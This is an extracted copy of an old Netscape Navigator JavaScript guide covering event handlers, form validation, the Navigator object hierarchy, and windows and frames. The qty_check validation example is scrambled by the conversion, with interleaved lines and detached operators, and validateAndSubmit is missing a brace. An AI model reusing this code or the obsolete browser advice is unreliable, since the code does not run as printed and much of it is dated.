Use single quotation marks ( ' ) to delimit string literals so that scripts can distinguish the literal from attribute values enclosed in double quotation marks. In the following example, the function bar contains the literal "left" within a double-quoted attribute value: function bar(widthPct) { document.write("<HR ALIGN='left' WIDTH=" + widthPct + "%>") } Here's another example: <INPUT TYPE="button" VALUE="Press Me" onClick="myfunc('astring')"> Be sure to alternate double quotation marks with single quotation marks. Because event handlers in HTML must be enclosed in quotation marks, you must use single quotation marks to delimit string arguments. For example: <FORM NAME="myform"> <INPUT TYPE="button" NAME="Button1" VALUE="Open Sesame!" onClick="window.open('mydoc.html', 'newWin')"> </FORM>

Example: using an event handler


In the following example, you can enter an expression (for example, 2 + 2) in the first text field, and then click the button. The second text field then displays the value of the expression (for example, 4). <HEAD> <SCRIPT> <!--- Hide script from old browsers function compute(f) { if (confirm("Are you sure?")) f.result.value = eval(f.expr.value) else alert("Please come back again.") } // end hiding from old browsers --> </SCRIPT> </HEAD> <BODY> <FORM> Enter an expression: <INPUT TYPE="text" NAME="expr" SIZE=15 > <INPUT TYPE="button" VALUE="Calculate" onClick="compute(this.form)"> <BR> Result: <INPUT TYPE="text" NAME="result" SIZE=15 > </FORM> </BODY>

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm (13 of 16) [30/08/2003 9:33:59 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm

The display in Navigator will look like this: Enter an expression: Result: The HEAD of the document defines a single function, compute, taking one argument, f, which is a Form object. The function uses the Navigator JavaScript method confirm to display a Confirm dialog box with OK and Cancel buttons. If the user clicks OK, then confirm returns true, and the value of the result text field is set to the value of eval(f.expr.value). The built-in JavaScript function eval evaluates its argument, which can be any string representing any JavaScript expression or statements. If the user clicks Cancel, then confirm returns false and the alert method displays another message. The form contains a button with an onClick event handler that calls the compute function. When the user clicks the button, JavaScript calls compute with the argument this.form that denotes the current Form object. In compute, this form is referred to as the argument f.
Calculate

Calling event handlers explicitly


In JavaScript for Navigator 3.0, you can reset an event handler specified by HTML, as shown in the following example. <SCRIPT LANGUAGE="JavaScript"> function fun1() { ... } function fun2() { ... } </SCRIPT> <FORM NAME="myForm"> <INPUT TYPE="button" NAME="myButton" onClick="fun1()"> </FORM> <SCRIPT> document.myForm.myButton.onclick=fun2 </SCRIPT> Note that event handlers are function references, so you must assign fun2, not fun2() (the latter calls fun2 and has whatever type and value fun2 returns). Also, since the event handler HTML attributes are literal function bodies, you cannot use <INPUT onClick=fun1> in the HTML source to make fun1 the onClick handler for an input; you must call fun1 instead, as in the example. Finally, because JavaScript is case-sensitive, you must spell event handler names in lowercase in JavaScript.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm (14 of 16) [30/08/2003 9:33:59 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm

Validating form input


If you can't run server-based programs, skip this section. One of the most important uses of JavaScript is to validate form input to server-based programs such as LiveWire applications or CGI programs. This is useful because
q q

It reduces load on the server. "Bad data" are already filtered out when input is passed to the server-based program. It reduces delays in case of user error. Validation otherwise has to be performed on the server, so data must travel from client to server, be processed, and then returned to client for valid input. It simplifies the server-based program.

Generally, you'll want to validate input in (at least) two places:


q q

As the user enters it, with an onChange event handler on each form element that you want validated. When the user submits the form, with an onClick event handler on the button that submits the form.

Example validation functions


The following are some simple validation functions. <HEAD> <SCRIPT LANGUAGE="javascript"> function isaPosNum(s) { return (parseInt(s) > 0) } function qty_check(item, min, max) { var returnVal = false if (!isaPosNum(item.value)) alert("Please enter else if (parseInt(item.value) alert("Please enter else if (parseInt(item.value) alert("Please enter else returnVal = true return returnVal }

a < a > a

postive number" ) min) " + item.name + " greater than " + min) max) " + item.name + " less than " + max)

function validateAndSubmit(theform) { if (qty_check(theform.quantity, 0, 999)) { alert("Order has been Submitted") return true else { alert("Sorry, Order Cannot Be Submitted!") return false } }
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm (15 of 16) [30/08/2003 9:33:59 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm

</SCRIPT> </HEAD> isaPosNum is a simple function that returns true if its argument is a positive number, and false otherwise. qty_check takes three arguments: an object corresponding to the form element being validated (item) and the minimum and maximum allowable values for the item (min and max). It checks that the value of item is a number between min and max and displays an alert if it is not. validateAndSubmit takes a Form object as its argument; it uses qty_check to check the value of the form element and submits the form if the input value is valid. Otherwise, it displays an alert and does not submit the form.

Using the validation functions


In this example, the BODY of the document uses qty_check as an onChange event handler for a text field and validateAndSubmit as the onClick event handler for a button. <BODY> <FORM NAME="widget_order" ACTION="lwapp.html" METHOD="post"> How many widgets today? <INPUT TYPE="text" NAME="quantity" onChange="qty_check(this, 0, 999)"> <BR> <INPUT TYPE="button" VALUE="Enter Order" onClick="validateAndSubmit(this.form)"> </FORM> </BODY> This form submits the values to a page in a LiveWire application called lwapp.html. It also could be used to submit the form to a CGI program. The form looks like this: How many widgets today?
Enter Order

The onChange event handler is triggered when you change the value in the text field and move focus from the field by either pressing the Tab key or clicking the mouse outside the field. Notice that both event handlers use this to represent the current object: in the text field, it is used to pass the JavaScript object corresponding to the text field to qty_check, and in the button it is used to pass the JavaScript Form object to validateAndSubmit. To submit the form to the server-based program, this example uses a button that calls validateAndSubmit, which submits the form using the submit method, if the data are valid. You can also use a submit button (defined by <INPUT TYPE="submit">) with an onSubmit event handler that returns false if the data are not valid. For example, <INPUT TYPE="submit" onSubmit="return qty_check(theform.quantity, 0, 999)" When qty_check returns false if the data are invalid, the onSubmit handler will prohibit the form from being submitted.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/getstart.htm (16 of 16) [30/08/2003 9:33:59 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/navobj.htm

Using Navigator objects


his chapter describes JavaScript objects in Navigator and how to use them. These client-side JavaScript objects are sometimes referred to as Navigator objects, to distinguish them from LiveWire objects or user-defined objects.

Navigator object hierarchy


When you load a document in Navigator, it creates a number of JavaScript objects with property values based on the HTML in the document and other pertinent information. These objects exist in a hierarchy that reflects the structure of the HTML page itself. Although you cannot derive object classes from JavaScript objects, as you can in languages such as Java, it is useful to understand the Navigator JavaScript object hierarchy. In the strict object-oriented sense, this type of hierarchy is known as an instance hierarchy, because it concerns specific instances of objects rather than object classes. The Navigator object hierarchy is illustrated in the following figure.

In this hierarchy, an object's "descendants" are properties of the object. For example, a form named form1 is an object as well as a property of document, and is referred to as document.form1. For a list of all objects and their properties, methods, and event handlers, see Appendix A, "Object summary."

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/navobj.htm (1 of 10) [30/08/2003 9:33:59 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/navobj.htm

Every page has the following objects:


q

q q

navigator: has properties for the name and version of the Navigator being used, for the MIME types supported by the client, and for the plug-ins installed on the client. window: the top-level object; has properties that apply to the entire window. There is also a window object for each "child window" in a frames document. document: contains properties based on the content of the document, such as title, background color, links, and forms. location: has properties based on the current URL. history: contains properties representing URLs the client has previously requested.

Depending on its content, the document may contain other objects. For instance, each form (defined by a FORM tag) in the document will have a corresponding Form object. To refer to specific properties, you must specify the object name and all its ancestors. Generally, an object gets its name from the NAME attribute of the HTML tag. For more information and examples, see Chapter 3, "Using windows and frames." For example, the following refers to the value property of a text field named text1 in a form named myform in the current document. document.myform.text1.value. If an object is on a form, you must include the form name when referring to that object, even if the object does not need to be on a form. For example, images do not need to be on a form. The following code refers to an image that is on a form: document.imageForm.aircraft.src='f15e.gif' The following code refers to an image that is not on a form: document.aircraft.src='f15e.gif'

document properties: an example


The properties of the document object are largely content-dependent. That is, they are created based on the HTML in the document. For example, document has a property for each form and each anchor in the document.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/navobj.htm (2 of 10) [30/08/2003 9:34:00 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/navobj.htm

Suppose you create a page named simple.html that contains the following HTML: <HEAD><TITLE>A Simple Document</TITLE> <SCRIPT> function update(form) { alert("Form being updated") } </SCRIPT> </HEAD> <BODY> <FORM NAME="myform" ACTION="foo.cgi" METHOD="get" >Enter a value: <INPUT TYPE="text" NAME="text1" VALUE="blahblah" SIZE=20 > Check if you want: <INPUT TYPE="checkbox" NAME="Check1" CHECKED onClick="update(this.form)"> Option #1 <P> <INPUT TYPE="button" NAME="button1" VALUE="Press Me" onClick="update(this.form)"> </FORM> </BODY> As you saw in the previous chapter, JavaScript uses the following object notation: objectName.propertyName So, given the preceding HTML example, the basic objects would have properties like those shown here:

Property document.title

Value "A Simple Document"

document.fgColor #000000 document.bgColor #ffffff location.href history.length "http://www.sampson.com/samples/simple.html" 7

Notice that the value of document.title reflects the value specified in the TITLE tag. The values for document.fgColor (the color of text) and document.bgColor (the background color) were not set in the HTML, so they are based on the default values specified in the Preferences dialog box (when the user chooses General Preferences from the Options menu).

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/navobj.htm (3 of 10) [30/08/2003 9:34:00 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/navobj.htm

Because there is a form in the document, there is also a Form object called myform (based on the form's NAME attribute) that has child objects for the checkbox and the button. Each of these objects has a name based on the NAME attribute of the HTML tag that defines it, as follows: These are the full names of the objects, based on the Navigator object hierarchy.
q q q

document.myform, the form document.myform.Check1, the checkbox document.myform.button1, the button

Thus, the Form object myform has properties based on the attributes of the FORM tag, for example,
q

q q

action is http://www.sampson.com/samples/foo.cgi, the URL to which the form is submitted. method is "get," based on the value of the METHOD attribute. length is 3, because there are three input elements in the form.

The Form object has child objects named button1 and text1, corresponding to the button and text field in the form. These objects have their own properties based on their HTML attribute values, for example,
q q q q

button1.value is "Press Me" button1.name is "Button1" text1.value is "blahblah" text1.name is "text1"

In practice, you refer to these properties using their full names, for example, document.myform.button1.value. This full name is based on the Navigator object hierarchy, starting with document, followed by the name of the form, myform, then the element name, button1, and, finally, the property name.

JavaScript reflection and HTML layout


JavaScript object property values are based on the content of your HTML document, sometimes referred to as reflection because the property values reflect the HTML. To understand JavaScript reflection, it is important to understand how the Navigator performs layout--the process by which Navigator transforms HTML tags into graphical display on your computer. Generally, layout happens sequentially in the Navigator: the Navigator starts at the top of the HTML file and works downward, displaying output to the screen as it goes. Because of this "top-down" behavior,
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/navobj.htm (4 of 10) [30/08/2003 9:34:00 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/navobj.htm

JavaScript reflects only HTML that it has encountered. For example, suppose you define a form with a couple of text-input elements: <FORM NAME="statform"> <INPUT TYPE = "text" name = "userName" size = 20> <INPUT TYPE = "text" name = "Age" size = 3> These form elements are reflected as JavaScript objects that you can use after the form is defined: document.statform.userName and document.statform.Age. For example, you could display the value of these objects in a script after defining the form: <SCRIPT> document.write(document.statform.userName.value) document.write(document.statform.Age.value) </SCRIPT> However, if you tried to do this before the form definition (above it in the HTML page), you would get an error, because the objects don't exist yet in the Navigator. Likewise, once layout has occurred, setting a property value does not affect its value or appearance. For example, suppose you have a document title defined as follows: <TITLE>My JavaScript Page</TITLE> This is reflected in JavaScript as the value of document.title. Once the Navigator has displayed this in the title bar of the Navigator window, you cannot change the value in JavaScript. If you have the following script later in the page, it will not change the value of document.title, affect the appearance of the page, or generate an error. document.title = "The New Improved JavaScript Page" There are some important exceptions to this rule: you can update the value of form elements dynamically. For example, the following script defines a text field that initially displays the string "Starting Value." Each time you click the button, you add the text "...Updated!" to the value. <FORM NAME="demoForm"> <INPUT TYPE="text" NAME="mytext" SIZE="40" VALUE="Starting Value"> <P><INPUT TYPE="button" VALUE="Click to Update Text Field" onClick="document.demoForm.mytext.value += '...Updated!' "> </FORM> This is a simple example of updating a form element after layout.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/navobj.htm (5 of 10) [30/08/2003 9:34:00 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/navobj.htm

Using event handlers, you can also change a few other properties after layout has completed, for example, document.bgcolor.

Key Navigator objects


This section describes some of the most useful Navigator objects, including window, Frame, document, Form, location, and history objects. For more detailed information on these objects, see the corresponding reference topics in Part 3, "Reference."

window and Frame objects


For more information on windows and frames, see Chapter 3, "Using windows and frames." The window object is the "parent" object for all other objects in Navigator. You can create multiple windows in a Navigator JavaScript application. A Frame object is defined by the FRAME tag in a FRAMESET document. Frame objects have the same properties and methods as window objects and differ only in the way they are displayed. The window object has numerous useful methods:
q

q q q q q q

open and close: Opens and closes a browser window; you can specify the size of the window, its content, and whether it has a button bar, location field, and other "chrome" attributes. alert: Displays an Alert dialog box with a message. confirm: Displays a Confirm dialog box with OK and Cancel buttons. prompt: Displays a Prompt dialog box with a text field for entering a value. blur and focus: Removes focus from, or gives focus to a window. scroll: Scrolls a window to a specified coordinate. setTimeout: Evaluates an expression after the specified time.

window also has two properties you can set to perform useful tasks: location and status. You can set location to redirect the client to another URL. For example, the following statement redirects the client to the Netscape home page, as if the user had clicked a hyperlink or otherwise loaded the URL: location = "http://home.netscape.com"

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/navobj.htm (6 of 10) [30/08/2003 9:34:00 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/navobj.htm

You can use the status property to set the message in the status bar at the bottom of the client window; for more information, see "Using the status bar".

document object
Because its write and writeln methods generate HTML, the document object is one of the most useful Navigator objects. A page has only one document object. The document object has a number of properties that reflect the colors of the background, text, and links in the page: bgColor, fgColor, linkColor, alinkColor, and vlinkColor. Other useful document properties include lastModified, the date the document was last modified, referrer, the previous URL the client visited, and URL, the URL of the document. The cookie property enables you to get and set cookie values; for more information, see "Using cookies". The document object is the ancestor for all the Anchor, Applet, Area, Form, Image, Link, and Plugin objects in the page. In Navigator 3.0, users can print and save generated HTML, by using the commands on the File menu. See "write".

Form object
Each form in a document creates a Form object. Because a document can contain more than one form, Form objects are stored in an array called forms. The first form (topmost in the page) is forms[0], the second forms[1], and so on. In addition to referring to each form by name, you can refer to the first form in a document as document.forms[0] Likewise, the elements in a form, such as text fields, radio buttons, and so on, are stored in an elements array. So you could refer to the first element (regardless of what it is) in the first form as document.forms[0].elements[0] Each form element has a form property that is a reference to the element's parent form. This property is especially useful in event handlers, where you might need to refer to another element on the current form. In the following example, the form myForm contains a Text object and a button. When the user clicks the button, the value of the Text object is set to the form's name. The button's onClick event handler uses this.form to refer to the parent form, myForm.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/navobj.htm (7 of 10) [30/08/2003 9:34:00 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/navobj.htm

<FORM NAME="myForm"> Form name:<INPUT TYPE="text" NAME="text1" VALUE="Beluga"> <P> <INPUT NAME="button1" TYPE="button" VALUE="Show Form Name" onClick="this.form.text1.value=this.form.name"> </FORM>

location object
The location object has properties based on the current URL. For example, the hostname property is the server and domain name of the server hosting the document. The location object has two methods:
q q

reload forces a reload of the window's current document. replace loads the specified URL over the current history entry.

history object
The history object contains a list of strings representing the URLs the client has visited. You can access the current, next, and previous history entries by using the history object's current, next, and previous properties. You can access the other history values using the history array. This array contains an entry for each history entry in source order; each array entry is a string containing a URL. You can also redirect the client to any history entry by using the go method. For example, the following code loads the URL that is two entries back in the client's history list. history.go(-2) The following code reloads the current page: history.go(0) The history list is displayed in the Navigator Go menu.

navigator object
The navigator object contains information about the version of Navigator in use. For example, the appName property specifies the name of the browser, and the appVersion property specifies version
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/navobj.htm (8 of 10) [30/08/2003 9:34:00 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/navobj.htm

information for the Navigator. The navigator object has two methods:
q q

javaEnabled specifies whether Java is enabled. taintEnabled specifies whether data tainting is enabled.

Navigator's object arrays


Navigator has the following predefined arrays: Array anchors applets elements embeds forms frames history images links Description Reflects all the <A> tags containing a NAME attribute in a document in source order Reflects all the <APPLET> tags in a document in source order Reflects a form's elements (such as Checkbox, Radio, and Text objects) in source order Reflects a document's <EMBED> tags in source order Reflects a document's <FORM> tags in source order Reflects all the <FRAME> tags in a window containing a <FRAMESET> tag in source order Reflects a window's history entries Reflects a document's <IMG> tags in source order (images created with the Image() constructor are not included in the images array) Reflects a document's <AREA HREF="..."> tags, <A HREF=""> tags, and Link objects created with the link method in source order

arguments Reflects all the arguments to a function

mimeTypes Reflects all the MIME types supported by the client (either internally, via helper applications, or by plug-ins) options plugins Reflects all the options in a Select object (<OPTION> tags) in source order Reflects all the plug-ins installed on the client in source order

In Navigator 2.0, you must index arrays by their ordinal number, for example document.forms[0]. In Navigator 3.0, you can index arrays by either their ordinal number or their name (if defined). For example, if the second <FORM> tag in a document has a NAME attribute of "myForm", you can refer to
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/navobj.htm (9 of 10) [30/08/2003 9:34:00 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/navobj.htm

the form as document.forms[1] or document.forms["myForm"] or document.myForm. For example, suppose the following form element is defined: <INPUT TYPE="text" NAME="String|Comments"> If you need to refer to this form element by name, you can specify document.forms["String|Comments"].

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/navobj.htm (10 of 10) [30/08/2003 9:34:00 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/windows.htm

Using windows and frames


avaScript lets you create and manipulate windows and frames for presenting HTML content. The window object is the top-level object in the JavaScript client hierarchy; Frame objects are similar to window objects, but correspond to "sub-windows" created with the FRAME tag in a FRAMESET document.

Opening and closing windows


A window is created automatically when you launch Navigator; you can open another window by choosing New Web Browser from the File menu. You can close a window by choosing either Close or Exit from the File menu. You can also open and close windows programmatically with JavaScript.

Opening a window
You can create a window with the open method. The following statement creates a window called msgWindow that displays the contents of the file sesame.html: msgWindow=window.open("sesame.html") The following statement creates a window called homeWindow that displays the Netscape home page: homeWindow=window.open("http://home.netscape.com") For more information on window names, see "Referring to windows and frames". Windows can have two names. The following statement creates a window with two names. The first name, msgWindow, refers to the window's properties, methods, and containership; the second name, displayWindow, refers to the window as the target of a form submit or hypertext link. msgWindow=window.open("sesame.html","displayWindow") A window name is not required when you create a window. But the window must have a name if you want to refer to it from another window. When you open a window, you can specify attributes such as the window's height and width and whether the window contains a toolbar, location field, or scrollbars. The following statement creates a window without a toolbar but with scrollbars: msgWindow=window.open ("sesame.html","displayWindow","toolbar=no,scrollbars=yes")
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/windows.htm (1 of 9) [30/08/2003 9:34:00 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/windows.htm

For details on these window attributes, see the reference topic for the open (window object) method.

Closing a window
You can close a window with the close method. You cannot close a frame without closing the entire parent window. Each of the following statements closes the current window: window.close() self.close() // Do not use the following statement in an event handler close() The following statement closes a window called msgWindow: msgWindow.close()

Using frames
A frame is a special type of window that can display multiple, independently scrollable frames on a single screen, each with its own distinct URL. Frames can point to different URLs and be targeted by other URLs, all within the same window. A series of frames, or a frameset, makes up a page. The following depicts a window containing three frames. The frame on the left is named listFrame; the frame on the right is named contentFrame; the frame on the bottom is named navigateFrame.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/windows.htm (2 of 9) [30/08/2003 9:34:00 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/windows.htm

Creating a frame
You create a frame by using the FRAMESET tag in an HTML document; this tag's sole purpose is to define the frames in a page. Example 1. The following statement creates the frameset shown previously: <FRAMESET ROWS="90%,10%"> <FRAMESET COLS="30%,70%"> <FRAME SRC=category.html NAME="listFrame"> <FRAME SRC=titles.html NAME="contentFrame"> </FRAMESET> <FRAME SRC=navigate.html NAME="navigateFrame"> </FRAMESET> The following diagram shows the hierarchy of the frames. All three frames have the same parent, even though two of the frames are defined within a separate frameset. This is because a frame's parent is its parent window, and a frame,

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/windows.htm (3 of 9) [30/08/2003 9:34:00 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/windows.htm

not a frameset, defines a window. top | +--listFrame (category.html) | +--contentFrame (titles.html) | +-navigateFrame (navigate.html) You can refer to the previous frames using the frames array as follows. (For information on the frames array, see the reference topic for the Frame object.)
q q q

listFrame is top.frames[0] contentFrame is top.frames[1] navigateFrame is top.frames[2]

Example 2. Alternatively, you could create a window like the previous one but in which the top two frames have a parent separate from navigateFrame. The top-level frameset would be defined as follows: <FRAMESET ROWS="90%,10%"> <FRAME SRC=muskel3.html NAME="upperFrame"> <FRAME SRC=navigate.html NAME="navigateFrame"> </FRAMESET> The file muskel3.html contains the skeleton for the upper frames and defines the following frameset: <FRAMESET COLS="30%,70%"> <FRAME SRC=category.html NAME="listFrame"> <FRAME SRC=titles.html NAME="contentFrame"> </FRAMESET> The following diagram shows the hierarchy of the frames. upperFrame and navigateFrame share a parent: the top window. listFrame and contentFrame share a parent: upperFrame. top | | +--listFrame | | (category.html) +--upperFrame------| | (muskel3.html) | | +--contentFrame | (titles.html) | +---navigateFrame (navigate.html) You can refer to the previous frames using the frames array as follows. (For information on the frames array, see the reference topic for the Frame object.)
q q q q

upperFrame is top.frames[0] navigateFrame is top.frames[1] listFrame is upperFrame.frames[0] or top.frames[0].frames[0] contentFrame is upperFrame.frames[1] or top.frames[0].frames[1]

For an example of creating frames, see "Creating and updating frames: an example".

Updating a frame
You can update the contents of a frame by using the location property to set the URL, as long as you specify the frame hierarchy. For example, suppose you are using the frameset described in Example 2 in the previous section. If you want users to

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/windows.htm (4 of 9) [30/08/2003 9:34:00 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/windows.htm

be able to close the frame containing the alphabetical or categorical list of artists (in the frame listFrame) and view only the music titles sorted by musician (currently in the frame contentFrame), you could add the following button to navigateFrame: <INPUT TYPE="button" VALUE="Titles Only" onClick="top.frames[0].location='artists.html'"> When a user clicks this button, the file artists.html is loaded into the frame upperFrame; the frames listFrame and contentFrame close and no longer exist.

Referring to and navigating among frames


Because frames are a type of window, you refer to frames and navigate among them as you do windows. See "Referring to windows and frames" and "Navigating among windows and frames".

Creating and updating frames: an example


If you designed the frameset in the previous section to present the available titles for a music club, the frames and their HTML files could have the following content:
q q

category.html, in the frame listFrame, contains a list of musicians sorted by category. titles.html, in the frame contentFrame, contains an alphabetical list of musicians and the titles available for each. navigate.html, in the frame navigateFrame, contains hypertext links the user can click to choose how the musicians are displayed in listFrame: alphabetically or by category. This file also defines a hypertext link users can click to display a description of each musician. An additional file, alphabet.html, contains a list of musicians sorted alphabetically. This file is displayed in listFrame when the user clicks the link for an alphabetical list.

The file category.html (the categorical list) contains code similar to the following: <B>Music Club Artists</B> <P><B>Jazz</B> <LI><A HREF=titles.html#0001 <LI><A HREF=titles.html#0006 <LI><A HREF=titles.html#0007 <LI><A HREF=titles.html#0010 <P><B>Soul</B> <LI><A HREF=titles.html#0003 <LI><A HREF=titles.html#0004 ...

TARGET="contentFrame">Toshiko Akiyoshi</A> TARGET="contentFrame">John Coltrane</A> TARGET="contentFrame">Miles Davis</A> TARGET="contentFrame">Dexter Gordon</A> TARGET="contentFrame">Betty Carter</A> TARGET="contentFrame">Ray Charles</A>

The file alphabet.html (the alphabetical list) contains code similar to the following: <B>Music Club Artists</B>
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/windows.htm (5 of 9) [30/08/2003 9:34:00 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/windows.htm

<LI><A <LI><A <LI><A <LI><A ...

HREF=titles.html#0001 HREF=titles.html#0002 HREF=titles.html#0003 HREF=titles.html#0004

TARGET="contentFrame">Toshiko Akiyoshi</A> TARGET="contentFrame">The Beatles</A> TARGET="contentFrame">Betty Carter</A> TARGET="contentFrame">Ray Charles</A>

The file navigate.html (the navigational links at the bottom of the screen) contains code similar to the following. Notice that the target for artists.html is "_parent." When the user clicks this link, the entire window is overwritten, because the top window is the parent of navigateFrame. <A HREF=alphabet.html TARGET="listFrame"><B>Alphabetical</B></A> &nbsp&nbsp&nbsp <A HREF=category.html TARGET="listFrame"><B>By category</B></A> &nbsp&nbsp&nbsp <A HREF="artists.html" TARGET="_parent"> <B>Musician Descriptions</B></A> The file titles.html (the main file, displayed in the frame on the right) contains code similar to the following: <!-----------------------------------------------------------------> <A NAME="0001"><H3>Toshiko Akiyoshi</H3></A> <P>Interlude <!-----------------------------------------------------------------> <A NAME="0002"><H3>The Beatles</H3></A> <P>Please Please Me <!-----------------------------------------------------------------> <A NAME="0003"><H3>Betty Carter</H3></A> <P>Ray Charles and Betty Carter ... For details on the syntax for creating a frame, see the reference topic for the Frame object.

Referring to windows and frames


The name you use to refer to a window depends on whether you are referring to a window's properties, methods, and event handlers or to the window as the target of a form submit or a hypertext link. Because the window object is the top-level object in the JavaScript client hierarchy, the window is essential for specifying the containership of objects in any window.

Referring to a window's properties, methods, and event handlers


file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/windows.htm (6 of 9) [30/08/2003 9:34:00 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/windows.htm

You can refer to the properties, methods, and event handlers of the current window or another window (if the other window is named) using any of the following methods:
q

self or window: self and window are synonyms for the current window, and you can use them optionally to refer to the current window. For example, you can close the current window by calling either window.close() or self.close(). top or parent: top and parent are also synonyms that you can use in place of the window name. top refers to the topmost Navigator window, and parent refers to a window containing a frameset. For example, the statement parent.frame2.document.bgColor="teal" changes the background color of the frame named frame2 to teal; frame2 is a frame in the current frameset. The name of a window variable: The window variable is the variable specified when a window is opened. For example, msgWindow.close() closes a window called msgWindow. Omit the window name: Because the existence of the current window is assumed, you do not have to reference the name of the window when you call its methods and assign its properties. For example, close() closes the current window. However, when you open or close a window within an event handler, you must specify window.open() or window.close() instead of simply using open() or close(). Because of the scoping of static objects in JavaScript, a call to close() without specifying an object name is equivalent to document.close().

For more information on these methods of referring to windows, see the reference topic for the window object. Example 1: refer to the current window. The following statement refers to a form named musicForm in the current window. The statement displays an alert if a checkbox is checked. if (document.musicForm.checkbox1.checked) { alert('The checkbox on the musicForm is checked!')} Example 2: refer to another window. The following statements refer to a form named musicForm in a window named checkboxWin. The statements determine if a checkbox is checked, check the checkbox, determine if the second option of a Select object is selected, and select the second option of the Select object. Even though object values are changed in checkboxWin, the current window remains active: checking the checkbox and selecting the selection option do not give focus to the window. // Determine if a checkbox is checked if (checkboxWin.document.musicForm.checkbox2.checked) { alert('The checkbox on the musicForm in checkboxWin is checked!')} // Check the checkbox checkboxWin.document.musicForm.checkbox2.checked=true // Determine if an option in a Select object is selected if (checkboxWin.document.musicForm.musicTypes.options[1].selected) {alert('Option 1 is selected!')} // Select an option in a Select object checkboxWin.document.musicForm.musicTypes.selectedIndex=1 Example 3: refer to a frame in another window. The following statement refers to a frame named frame2 that is in a window named window2. The statement changes the background color of frame2 to violet. The frame name, frame2, must be specified in the FRAMESET tag that creates the frameset.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/windows.htm (7 of 9) [30/08/2003 9:34:00 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/windows.htm

window2.frame2.document.bgColor="violet"

Referring to a window in a form submit or hypertext link


You use a window's name (not the window variable) when referring to a window as the target of a form submit or hypertext link (the TARGET attribute of a FORM or A tag). The window you specify is the window into which the link is loaded or, for a form, the window in which server responses are displayed. Example 1: second window. The following example creates a hypertext link to a second window. The example has a button that opens an empty window named window2, then a link that loads the file doc2.html into the newly opened window, and then a button that closes the window. <P> <INPUT TYPE="button" VALUE="Open window2" onClick="msgWindow=window.open('','window2', 'resizable=no,width=200,height=200')"> <P> <A HREF="doc2.html" TARGET="window2"> Load a file into window2</A> <P> <INPUT TYPE="button" VALUE="Close window2" onClick="msgWindow.close()"> Example 2: anchor in a second window. The following example creates a hypertext link to an anchor in a second window. The link displays the anchor named numbers in the file doc2.html in the window window2. If window2 does not exist, it is created. <A HREF=doc2.html#numbers TARGET="window2">Numbers</A> Example 3: frame name. The following example creates a hypertext link to an anchor in a frame. The link displays the anchor named abs_method in the file sesame.html in the frame named contentFrame. The frame must be within the current frameset, and the frame name must be defined in the NAME attribute of a FRAME tag. <A HREF=sesame.html#abs_method TARGET="contentFrame">abs</A> Example 4: literal frame name. The following example creates a hypertext link to a file. The link displays the file named artists.html in the parent window of the current frameset. This Link object appears in a frame within a frameset, and when the user clicks the link, all frames in the frameset disappear and the content of artists.html is loaded into the parent window. <A HREF="artists.html" TARGET="_parent"> <B>Musician Descriptions</B></A>

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/windows.htm (8 of 9) [30/08/2003 9:34:00 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/windows.htm

Navigating among windows and frames


